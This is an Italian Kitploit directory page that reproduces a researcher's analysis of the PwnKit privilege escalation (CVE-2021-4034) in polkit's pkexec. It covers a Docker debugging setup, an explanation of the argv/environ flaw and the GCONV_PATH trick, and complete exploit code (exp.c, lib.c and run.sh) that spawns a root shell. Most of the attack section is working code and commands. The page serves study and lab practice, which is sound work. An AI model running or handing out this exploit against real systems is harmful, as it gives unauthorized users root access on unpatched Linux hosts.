Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-4034 — CVE-2021-4034 POC, Docker e report di analisi | Kitploit
Strumenti/GitHubGitHub/chenaotian/cve-2021-4034
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubchenaotian/cve-2021-4034

CVE-2021-4034

CVE-2021-4034 POC, Docker e report di analisi

Vedi Repository
1234 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Analisi dell'escalation dei privilegi locale di PolKit CVE-2021-4034

[toc]

Introduzione alla vulnerabilità

ID vulnerabilità: CVE-2021-4034

Punteggio vulnerabilità:

Prodotto vulnerabile: linux PolKit (pkexec)

Versione interessata: versioni dal 2009 a oggi (attuale 0.105) riferimento http://its.dlut.edu.cn/info/1054/78309.htm

Condizioni di sfruttamento: linux locale; pkexec è un file suid con permessi di esecuzione

Ottenere il sorgente: apt source policykit-1

​ oppure https://launchpad.net/ubuntu/bionic/+package/policykit-1

Ambiente docker

Ambiente docker: chenaotian/cve-2021-4034

Ho creato io stesso questo docker, che fornisce:

  1. un pkexec compilato da me e con sorgenti per il debug
  2. una glibc con simboli di debug (a quanto pare non serve)
  3. gdb e i plugin gdb pwngdb & pwndbg (a quanto pare non servono)
  4. l'exp nell'ambiente di debug

Tutto si trova nella directory /root/:

image-20220126183638493

  • la directory exp è quella che contiene exp e run.sh; puoi passare direttamente all'utente test con su test e poi eseguirlo
  • glibc-2.27 è la directory dei sorgenti di glibc; molto probabilmente non servirà, ma se serve è comoda per il debug dei sorgenti con gdb
  • polkit-0.105 è il pacchetto sorgente di policykit

Avvio di docker:

root@kitploit:~
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash

Test dell'exp:

root@kitploit:~
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami

Principio della vulnerabilità

Il prodotto interessato dalla vulnerabilità è il comando pkexec di polkit. pkexec, come sudo, è uno strumento che ci consente di eseguire comandi come un altro utente (di solito root). Con il comando dpkg possiamo vedere a quale pacchetto appartiene pkexec:

root@kitploit:~
dpkg -S /usr/bin/pkexec

image-20220126152839307

Poi si ottiene il pacchetto sorgente (è presente anche nel mio docker), quindi, a partire dal pacchetto sorgente, si compila una versione debuggabile per facilitare il debug.

Punto di innesco della vulnerabilità

Il principio che innesca la vulnerabilità è molto semplice

/polkit-0.105/src/programs/pkexec.c : 386 main

root@kitploit:~
int
main (int argc, char *argv[])
{
    
  ··· ···
  ··· ···
      
  /* Questo blocco significa: scorre in ciclo i parametri inseriti dall'utente e imposta i valori in base ai diversi parametri ricevuti.
   * Ma il problema è che il ciclo parte da 1 e non considera il caso in cui l'utente non abbia inserito alcun parametro.
   */
  for (n = 1; n < (guint) argc; n++) 
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      ··· ···
      else //se è un parametro non riconosciuto esce dal ciclo; questo significa che quel parametro è il comando che si vuole eseguire
        {
          break;
        }
    }

  ··· ···

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); //ottiene la stringa specifica del comando da eseguire
  if (path == NULL)
    {
      ···
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() non è attaccabile tramite l'ambiente */
      //questa funzione cerca il percorso assoluto del comando da eseguire in base alla variabile d'ambiente PATH
      s = g_find_program_in_path (path); 
      if (s == NULL)
        {
          ···
        }
      g_free (path);
      argv[n] = path = s;//riscrive il percorso assoluto ottenuto nel parametro della riga di comando
    }
  ··· ···
  ··· ···

In base ai commenti che ho aggiunto nel codice, l'analisi è:

  1. prima, nella funzione main, vengono impostate alcune variabili in base ai parametri della riga di comando inseriti dall'utente, ma qui il ciclo for parte da 1, cioè si presuppone che venga fornito almeno un parametro (il comando da eseguire con pkexec)
  2. se incontra un parametro della riga di comando che non inizia con --, lo considera come il comando da eseguire e quindi esce dal ciclo per passare alla logica successiva.
  3. chiama la funzione g_find_program_in_path per cercare il percorso assoluto del comando. La funzione g_find_program_in_path cerca il percorso assoluto del parametro ricevuto (comando) in base alla variabile d'ambiente PATH. Ad esempio, se riceve cat restituisce /bin/cat.
  4. riscrive il percorso assoluto restituito nella posizione di quel parametro della riga di comando. (si può intendere come la conversione da comando al percorso assoluto del file corrispondente al comando)

È comunque facile da capire, ma il problema è:

  1. quando un programma binario linux viene eseguito, i parametri della riga di comando argv[] e le variabili d'ambiente environ[] vengono posti in cima allo stack, e argv[] e environ[] sono adiacenti. L'ultimo elemento di argv[] è null.

    image-20220126162140802

  2. Se pkexec viene avviato dalla riga di comando senza altri parametri, allora argv[0] è "pkexec" e argv[1] è \x00: nessun problema. Ma se pkexec viene avviato con la funzione execve senza altri parametri, allora è e punta già alle variabili d'ambiente! Quando viene letto , si e si legge .

Allora che effetto produce tutto questo? Quando si avvia con execve senza passare altri parametri, la lunghezza di argv[] è 0, quindi argv[1] corrisponde a environ[0]. In questo modo la logica analizzata sopra diventa: otterrebbe il valore della prima variabile d'ambiente e ne cercherebbe il percorso assoluto nella variabile d'ambiente PATH. Se lo trova, riscrive il valore nella prima variabile d'ambiente. Il metodo di sfruttamento è quindi il seguente:

Sfruttamento della vulnerabilità

La prima cosa da chiarire è che pkexec è un file privilegiato (suid):

image-20220126161324831

Come si può usare una variabile d'ambiente per fare qualcosa in un file privilegiato? Per prima cosa, vediamo un piccolo dettaglio:

Un piccolo dettaglio

Il linker dinamico di linux ld-linux-x86-64.so.2, quando viene eseguito un programma privilegiato, elimina le variabili d'ambiente sensibili:

funzione _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307

root@kitploit:~
void
_dl_non_dynamic_init (void)
{
  ··· ···
  ··· ···

  if (__libc_enable_secure) //nel caso di modalità privilegiata
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      //scorre in ciclo tutte le variabili d'ambiente nella lista delle variabili pericolose e le azzera (unset)
      while (cp < unsecure_envvars + sizeof (unsecure_envvars)) 
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
··· ···
··· ···
}

La lista delle variabili d'ambiente pericolose UNSECURE_ENVVARS è definita come segue:

glibc-2.27/sysdeps/generic/unsecvars.h : 10

root@kitploit:~
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"

Quando viene rilevato che il programma è un file privilegiato (suid), queste variabili d'ambiente vengono azzerate. Come si può vedere, la maggior parte sono variabili della serie LD_, che hanno tutte la capacità di specificare i percorsi di caricamento delle librerie dinamiche. Questo serve a impedire che utenti con privilegi ridotti usino queste variabili d'ambiente per far caricare a un programma suid delle so non affidabili, causando esecuzione di codice malevolo e quindi escalation dei privilegi.

Nello scenario di questa vulnerabilità, abbiamo la possibilità di scrivere una variabile d'ambiente arbitraria; la nostra idea di sfruttamento è provare a trovare qualcosa tra quelle variabili d'ambiente che normalmente non potrebbero essere passate a un programma suid.

Principio di sfruttamento

Poiché il poc è già stato pubblicato, guardando direttamente la soluzione è molto semplice; qui ho fatto riferimento al poc di arthepsy. Il contenuto è molto semplice, ma grazie a questo poc si capisce che la variabile d'ambiente chiave per lo sfruttamento è GCONV_PATH. È davvero una delle variabili nella lista di quelle pericolose, anzi è la prima!

Riguardo a GCONV_PATH e alla funzione iconv_open():

La funzione iconv_open() richiede un descrittore di conversione, per convertire una sequenza di caratteri dalla codifica fromcode alla codifica tcode; il descrittore di conversione contiene lo stato della conversione. La funzione iconv_open() prima di tutto trova il file gconv-modules fornito dal sistema; questo file contiene i percorsi in cui sono memorizzate le informazioni sui vari set di caratteri; le informazioni di ogni set di caratteri sono memorizzate in un file .so. Poi, seguendo le indicazioni del file gconv-modules, collega il file .so corrispondente al parametro per eseguire l'operazione specifica. Se esiste la variabile d'ambiente GCONV_PATH, la funzione iconv_open() cerca il file gconv-modules in base a GCONV_PATH; le operazioni successive restano invariate.

In altre parole, qui la variabile d'ambiente GCONV_PATH ha una funzione equivalente a LD_LIBRARY_PATH. Può specificare i file so che la funzione iconv_open() cerca. Se riusciamo a falsificare GCONV_PATH, poi a falsificare gconv-modules e infine a falsificare anche una so, possiamo completare il caricamento arbitrario di una so e l'esecuzione arbitraria di codice.

L'idea generale è la seguente:

  1. creare una directory chiamata GCONV_PATH=.

  2. nella directory GCONV_PATH=., creare un file chiamato pwnkitdir con permesso x

  3. creare una directory chiamata pwnkitdir

  4. nella directory pwnkitdir, creare il file gconv-modules e scriverci il seguente contenuto nel formato previsto:

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  5. nella directory pwnkitdir, inserire la so malevola pwnkit.so contenente il codice per ottenere una shell.

  6. impostare le variabili d'ambiente correlate:

    1. prima variabile d'ambiente pwnkitdir
    2. seconda variabile d'ambiente PATH=GCONV_PATH=., così il percorso composto dalla funzione g_find_program_in_path sarà , che è esattamente il formato di una variabile d'ambiente; inoltre la directory esiste e anche il file esiste.

E il gioco è fatto. L'exp specifico è il seguente:

exp

exp.c

root@kitploit:~
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp); //nota: modifica il percorso in base alla situazione reale
}

lib.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh

root@kitploit:~
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp

Sfruttamento riuscito:

image-20220126182231579

Misure di mitigazione

Aggiornare all'ultima versione

Riferimenti

Divulgazione della vulnerabilità: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

poc di arthepsy: https://github.com/arthepsy/CVE-2021-4034

Scarica lo strumento
argv[0]
\x00
argv[1]
argv[1]
esce dai limiti
environ[0]

Avvio diretto di pkexec dalla riga di comando: argc è 1 e argv[0] è il percorso di pkexec:

image-20220126162616203

Avvio di pkexec con la funzione execve: argc è 0:

image-20220126162804529

GCONV_PATH=./pwnkitdir
./pwnkitdir
GCONV_PATH=./pwnkitdir
  • variabile d'ambiente CHARSET=PWNKIT, che verrà usata nel percorso che porta a iconv_open, per cercare la so nel file gconv-modules
  • SHELL=xxx, che verrà usata nel percorso che porta a iconv_open
  • avviare pkexec tramite execve con parametri vuoti e con le variabili d'ambiente impostate sopra